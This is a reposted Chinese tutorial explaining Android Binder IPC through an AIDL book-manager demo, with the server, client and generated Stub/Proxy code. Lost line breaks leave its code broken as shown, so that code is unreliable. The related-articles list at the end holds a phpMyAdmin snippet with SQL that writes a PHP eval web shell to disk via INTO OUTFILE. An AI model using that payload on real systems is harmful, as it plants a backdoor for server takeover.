Android-Binder 簡析

前言

對于Android來說,Binder的重要性怎么說都不為過。不管是我們的四大組件Activity、Service、BroadcastReceiver、ContentProvider,還是經常在應用中使用到的各種ServiceManager,其背后都是Binder在支撐。然而Binder機制又不是三言兩語能夠描述得清楚的,因此本文通過對一個簡單的AIDL Demo進行分析,讓讀者對Binder有個初步的認識,要想深入了解Binder背后的原理,可以參考最后的延伸閱讀。

Demo

首先我們通過AIDL新建一個跨進程通信的Demo,然后在代碼中簡單分析Binder的運行過程。

Server Module

我們先新建一個提供接口的AIDL服務端module,服務端主要提供AddBook和getBookList兩個功能,其目錄如下:

p2.png

p2.png

  • IBookManager.AIDL

// IAIDLServer.aidl
package com.nancyyihao.aidlserver;
import  com.nancyyihao.aidlserver.Book;// Declare any non-default types here with import statementsinterface IBookManager {List<Book> getBookList();void addBook(in Book book);
}
  • Book.java

package com.nancyyihao.aidlserver;import android.os.Parcel;
import android.os.Parcelable;/*** Created by jumper on 2016/9/7.*/
public class Book implements Parcelable {private String bookName;private int bookId;public Book(){}public Book(int bookId, String bookName){this.bookId = bookId ;this.bookName = bookName ;}public Book(Parcel parcel){bookName = parcel.readString();bookId = parcel.readInt();}public String getBookName() {return bookName;}public void setBookName(String bookName) {this.bookName = bookName;}public int getBookId() {return bookId;}public void setBookId(int bookId) {this.bookId = bookId;}@Overridepublic int describeContents() {return 0;}@Overridepublic void writeToParcel(Parcel dest, int flags) {dest.writeString(bookName);dest.writeInt(bookId);}public static final Parcelable.Creator<Book> CREATOR = new Creator<Book>(){@Overridepublic Book createFromParcel(Parcel source) {return new Book(source);}@Overridepublic Book[] newArray(int size) {return new Book[size];}};
}
  • Book.AIDL

package com.nancyyihao.aidlserver;
parcelable Book;
  • BookManagerService

package com.nancyyihao.aidlserver;import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.os.RemoteException;import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;/*** Created by jumper on 2016/9/7.*/
public class BookManagerService extends Service {private static final String TAG = "BMS";private CopyOnWriteArrayList<Book> mBookList = new CopyOnWriteArrayList<>();@Overridepublic IBinder onBind(Intent intent) {return mBinder;}@Overridepublic void onCreate() {super.onCreate();// to distinguish with client module, we set the book id different from client modulemBookList.add(new Book(3,"Android"));mBookList.add(new Book(4,"iOS"));}private Binder mBinder = new IBookManager.Stub() {@Overridepublic List<Book> getBookList() throws RemoteException {return mBookList;}@Overridepublic void addBook(Book book) throws RemoteException {mBookList.add(book);}} ;
}

Client Module

把Server module的代碼拷貝一份(AIDL包名不能變),然后新建一個MainActivity即可

  • MainActivity

package com.nancyyihao.aidlserver;import android.content.ComponentName;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;import com.nancyyihao.R;import java.util.List;public class MainActivity extends AppCompatActivity {private static final String TAG = "MainActivity";private ServiceConnection mConnection = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service) {IBookManager bookManager = IBookManager.Stub.asInterface(service);Log.e("trace", "onServiceConnected");try {List<Book> bookList = bookManager.getBookList();Log.e(TAG, "query book list, list type:" + bookList.getClass().getCanonicalName());Log.e(TAG, "query book list:" + bookList.toString());} catch (Exception e) {e.printStackTrace();}}@Overridepublic void onServiceDisconnected(ComponentName name) {}};@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);final Intent intent = new Intent();intent.setAction("com.nancyyihao.startservice");intent.setPackage("com.nancyyihao.aidlserver"); // server's package nameLog.e("trace", "bindService");bindService(intent, mConnection, BIND_AUTO_CREATE);}@Overrideprotected void onDestroy() {super.onDestroy();unbindService(mConnection);}
}

分析

把代碼寫好后,build一下,就能看到自動生成了一個IBookManager.Java文件

  • IBookManager.Java

p3.png

p3.png

package com.nancyyihao.aidlserver;
// Declare any non-default types here with import statementspublic interface IBookManager extends android.os.IInterface {/*** Local-side IPC implementation stub class.*/public static abstract class Stub extends android.os.Binder implements com.nancyyihao.aidlserver.IBookManager {private static final java.lang.String DESCRIPTOR = "com.nancyyihao.aidlserver.IBookManager"; // Binder Indentifierpublic Stub() {this.attachInterface(this, DESCRIPTOR);}/*** Cast an IBinder object into an com.nancyyihao.aidlserver.IBookManager interface,* generating a proxy if needed.*/public static com.nancyyihao.aidlserver.IBookManager asInterface(android.os.IBinder obj) {if ((obj == null)) {return null;}android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);if (((iin != null) && (iin instanceof com.nancyyihao.aidlserver.IBookManager))) {return ((com.nancyyihao.aidlserver.IBookManager) iin);  // local Binder}return new com.nancyyihao.aidlserver.IBookManager.Stub.Proxy(obj);  // remote Binder}@Overridepublic android.os.IBinder asBinder() {return this;}@Overridepublic boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) throws android.os.RemoteException {switch (code) {case INTERFACE_TRANSACTION: {reply.writeString(DESCRIPTOR);return true;}case TRANSACTION_getBookList: {data.enforceInterface(DESCRIPTOR);java.util.List<com.nancyyihao.aidlserver.Book> _result = this.getBookList();reply.writeNoException();reply.writeTypedList(_result);return true;}case TRANSACTION_addBook: {data.enforceInterface(DESCRIPTOR);com.nancyyihao.aidlserver.Book _arg0;if ((0 != data.readInt())) {_arg0 = com.nancyyihao.aidlserver.Book.CREATOR.createFromParcel(data);} else {_arg0 = null;}this.addBook(_arg0);reply.writeNoException();return true;}}return super.onTransact(code, data, reply, flags);}private static class Proxy implements com.nancyyihao.aidlserver.IBookManager {private android.os.IBinder mRemote;Proxy(android.os.IBinder remote) {mRemote = remote;}@Overridepublic android.os.IBinder asBinder() {return mRemote;}public java.lang.String getInterfaceDescriptor() {return DESCRIPTOR;}@Overridepublic java.util.List<com.nancyyihao.aidlserver.Book> getBookList() throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();java.util.List<com.nancyyihao.aidlserver.Book> _result;try {_data.writeInterfaceToken(DESCRIPTOR);mRemote.transact(Stub.TRANSACTION_getBookList, _data, _reply, 0);_reply.readException();_result = _reply.createTypedArrayList(com.nancyyihao.aidlserver.Book.CREATOR);} finally {_reply.recycle();_data.recycle();}return _result;}@Overridepublic void addBook(com.nancyyihao.aidlserver.Book book) throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();try {_data.writeInterfaceToken(DESCRIPTOR);if ((book != null)) {_data.writeInt(1);book.writeToParcel(_data, 0);} else {_data.writeInt(0);}mRemote.transact(Stub.TRANSACTION_addBook, _data, _reply, 0);_reply.readException();} finally {_reply.recycle();_data.recycle();}}}static final int TRANSACTION_getBookList = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);static final int TRANSACTION_addBook = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);}public java.util.List<com.nancyyihao.aidlserver.Book> getBookList() throws android.os.RemoteException;public void addBook(com.nancyyihao.aidlserver.Book book) throws android.os.RemoteException;
}

Client先調用bindService啟動服務,會調用BookManagerService的onCreate方法,接著調用onBind方法,該方法會返回遠程的Binder---mBinder,該Binder包含getBookList和AddBook兩個方法的具體實現。

    @Overridepublic IBinder onBind(Intent intent) {return mBinder;}private Binder mBinder = new IBookManager.Stub() {@Overridepublic List<Book> getBookList() throws RemoteException {return mBookList;}@Overridepublic void addBook(Book book) throws RemoteException {mBookList.add(book);}} ;

當Client和server成功建立連接時,就會調用Client的onServiceConnected(name, service)方法把遠程的mBinder回調給Client,此時的service就是遠程的mBinder對象

private ServiceConnection mConnection = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service) {IBookManager bookManager = IBookManager.Stub.asInterface(service);Log.e("trace", "onServiceConnected");try {List<Book> bookList = bookManager.getBookList();} catch (Exception e) {e.printStackTrace();}}

Client端通過asInterface方法把mBinder轉成AIDL接口,如果是本進程內的Binder就直接返回,否則返回內部代理類proxy

 public static com.nancyyihao.aidlserver.IBookManager asInterface(android.os.IBinder obj) {if ((obj == null)) {return null;}android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);if (((iin != null) && (iin instanceof com.nancyyihao.aidlserver.IBookManager))) {return ((com.nancyyihao.aidlserver.IBookManager) iin);  // local Binder}return new com.nancyyihao.aidlserver.IBookManager.Stub.Proxy(obj);  // remote Binder}

接著執行

 try {List<Book> bookList = bookManager.getBookList();} catch (Exception e) {e.printStackTrace();}

此時的bookManager通過asInterface方法轉換后,返回的實際上是本地的proxy類

private static class Proxy implements com.nancyyihao.aidlserver.IBookManager {private android.os.IBinder mRemote;Proxy(android.os.IBinder remote) {mRemote = remote;}@Overridepublic android.os.IBinder asBinder() {return mRemote;}public java.lang.String getInterfaceDescriptor() {return DESCRIPTOR;}@Overridepublic java.util.List<com.nancyyihao.aidlserver.Book> getBookList() throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();java.util.List<com.nancyyihao.aidlserver.Book> _result;try {_data.writeInterfaceToken(DESCRIPTOR);mRemote.transact(Stub.TRANSACTION_getBookList, _data, _reply, 0);_reply.readException();_result = _reply.createTypedArrayList(com.nancyyihao.aidlserver.Book.CREATOR);} finally {_reply.recycle();_data.recycle();}return _result;}@Overridepublic void addBook(com.nancyyihao.aidlserver.Book book) throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();try {_data.writeInterfaceToken(DESCRIPTOR);if ((book != null)) {_data.writeInt(1);book.writeToParcel(_data, 0);} else {_data.writeInt(0);}mRemote.transact(Stub.TRANSACTION_addBook, _data, _reply, 0);_reply.readException();} finally {_reply.recycle();_data.recycle();}}}static final int TRANSACTION_getBookList = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);static final int TRANSACTION_addBook = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);}

通過代碼我們可以看到proxy類其實也是一個IBookManager接口,調用bookManager.getBookList()其實是調用Proxy.getBookList

 @Overridepublic java.util.List<com.nancyyihao.aidlserver.Book> getBookList() throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();java.util.List<com.nancyyihao.aidlserver.Book> _result;try {_data.writeInterfaceToken(DESCRIPTOR);mRemote.transact(Stub.TRANSACTION_getBookList, _data, _reply, 0);_reply.readException();_result = _reply.createTypedArrayList(com.nancyyihao.aidlserver.Book.CREATOR);} finally {_reply.recycle();_data.recycle();}return _result;}

Proxy.getBookList方法中調用了mRemote.trasact()

    public final boolean transact(int code, Parcel data, Parcel reply,int flags) throws RemoteException {if (false) Log.v("Binder", "Transact: " + code + " to " + this);if (data != null) {data.setDataPosition(0);}boolean r = onTransact(code, data, reply, flags);if (reply != null) {reply.setDataPosition(0);}return r;}

Client就是在這里和Server進行遠程通信的!把需要的參數放data中,服務端執行完后把接口寫到result里。從代碼中可以看到transact方法中調用了onTransact方法。我們再看看onTransact方法有啥東西。

  @Overridepublic boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) throws android.os.RemoteException {......case TRANSACTION_getBookList: {data.enforceInterface(DESCRIPTOR);java.util.List<com.nancyyihao.aidlserver.Book> _result = this.getBookList();reply.writeNoException();reply.writeTypedList(_result);return true;}......}

直接調用了this.getBookList方法返回結果,這個this到底是哪個對象?前面提到mRemote其實是遠程中的Binder對象,其代碼如下

 private Binder mBinder = new IBookManager.Stub() {@Overridepublic List<Book> getBookList() throws RemoteException {return mBookList;}@Overridepublic void addBook(Book book) throws RemoteException {mBookList.add(book);}} ;

this.getBookList其實就是mRemote.getBookList,就是上面代碼中的mBinder.getBookList!然后把返回結果放到result中即可。至此,整個通信過程分析完畢。

總結

  • Client是通過本地的Proxy類像Server發起通信

  • Client通過ServerConnection接口回調收到Server遠程Binder對象

  • IPC過程發生在transact方法中,該方法會掛起直到服務端返回結果,因此不能在主線程調用遠程服務。

Binder工作機制

p1.jpg

圖片和文中Demo來自《Android開發技術探索》

源碼下載

  • Android-AIDL-Demo

延伸閱讀

  • Binder學習指南

  • Android Bander設計與實現 - 設計篇

  • Android進程間通信(IPC)機制Binder簡要介紹和學習計劃

轉載于:https://www.cnblogs.com/jasonkent27/p/5860680.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373911.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373911.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373911.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CSDN編程挑戰——《進制轉換》

進制轉換 題目詳情: 我們通常用的十進制數包含0-9十個數字。假設有一種進制系統包含3種數字&#xff0c;從低到高分別為"oF8”&#xff0c;那么從1到9分別表示為F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。給定一種進制的數和兩種進制的數字表&#xff0c;請把它從第一種進…

tplink 703刷固件

1.軟件下載: ImageBuilder鏈接 如果是全新刷機的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系統升級的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

編程反模式

您是否曾經進行過代碼審查&#xff0c;記錄了非常高的WTF / m&#xff1f; 您是否想知道所有這些錯誤代碼的原因是什么&#xff1f; 在大多數情況下&#xff0c;導致原因1的主要原因是使用設計和編碼反模式。 如果您喜歡定義&#xff0c;請參見以下內容&#xff1a;AntiPatter…

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數&#xff0c;這里指定k2。注意2個高斯分布具有相同均方差Sigma&#xff0c;分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…

CSDN挑戰編程——《數學問題》

數學問題 題目詳情: 給你兩個長度為n的正整數序列分別為{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 設Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi為整數&#xff0c;0<xi<1。 請你求出S的最小值。 輸入…

【P1835】小紅花

很簡單的題&#xff0c;然而我沒想到&#xff0c;在NOIP上怎么辦嘛QAQ 話說這題不知道怎么分類啊……先扔到玄學里邊把…… 原題&#xff1a; Fj在圣誕節來臨之際&#xff0c;決定給他的奶牛發一些小紅花。現在Fj一共有N頭奶牛&#xff0c;這N頭牛按照編號1..N&#xff0c;排成…

python多維數組運用_使用Python將文件讀入多維數組

If I have a text file like this:Hello WorldHow are you?Bye WorldHow would I read it into a multidimensional array like this:[["Hello", "World"],["How", "are", "you?"],["Bye" "World"]]I…

Java日志混亂

每個應用程序都需要記錄日志。 現在&#xff0c;對于在Java中確切使用什么有很多選擇。 最著名的框架是&#xff1a;log4j&#xff0c;logback&#xff0c;commons-logging&#xff0c;slf4j&#xff0c;java.util.logging。 還有更多的東西–時不時有人決定編寫自己的記錄器–…

Cocos2d-x 3.2 Lua演示樣例FontTest(字體測試)

Cocos2d-x 3.2 Lua演示樣例FontTest&#xff08;字體測試&#xff09;本篇博客介紹Cocos2d-x 3.2中Lua測試項目中的FontTest樣例&#xff0c;主要使用了字體文件來創建我們想要的字體樣式&#xff1a;第一個參數為文本。第二參數為ttf字體文件&#xff0c;第三個參數為字體大小…

CSDN挑戰編程——《絕對值最小》

絕對值最小 題目詳情: 給你一個數組A[n],請你計算出ansmin(|A[i]A[j]|)(0<i,j<n). 例如&#xff1a;A{1&#xff0c; 4&#xff0c; -3}&#xff0c; 則&#xff1a; |A[0] A[0]| |1 1| 2. |A[0] A[1]| |1 4| 5. |A[0] A[2]| |1 (-3)| 2. |A[1] A[1]| |4 …

linux上安裝memcached步驟

libevent: http://libevent.org/ 服務器端&#xff1a;https://code.google.com/archive/p/memcached/downloads 客戶端&#xff1a; http://pecl.php.net/package/memcache 和 http://pecl.php.net/package/memcached 二選一 http://chenzhou123520.iteye.com/blog/1…

IPC之SystemV

svipc - System V interprocess communication mechanisms linux實現的System V interprocess communication (IPC)機制包含消息隊列&#xff08;message queues&#xff09;&#xff0c;信號集&#xff08;semaphore sets&#xff09;&#xff0c;和共享內存&#xff08;share…

oracle create user

sqlplus /nolog conn sys/pw123456orcl as sysdba CREATE USER zengwenfeng IDENTIFIED BY zengwenfeng ; GRANT ALL PRIVILEGES TO zengwenfeng ; COMMIT; C:\Users\Administrator>sqlplus /nologSQL*Plus: Release 11.2.0.1.0 Production on 星期日 12月 24 21:38:24 20…

具有GlassFish和一致性的高性能JPA –第2部分

在我的四部分系列的第二部分中&#xff0c;我將解釋將Coherence與EclipseLink和GlassFish一起使用的策略第一。這描述了配置Coherence的JPA支持的Cache所必須采取的步驟&#xff0c;以及如何在GlassFish中使用它。高性能數據存儲。 一般的做法 您可以將Coherence API與通過JPA映…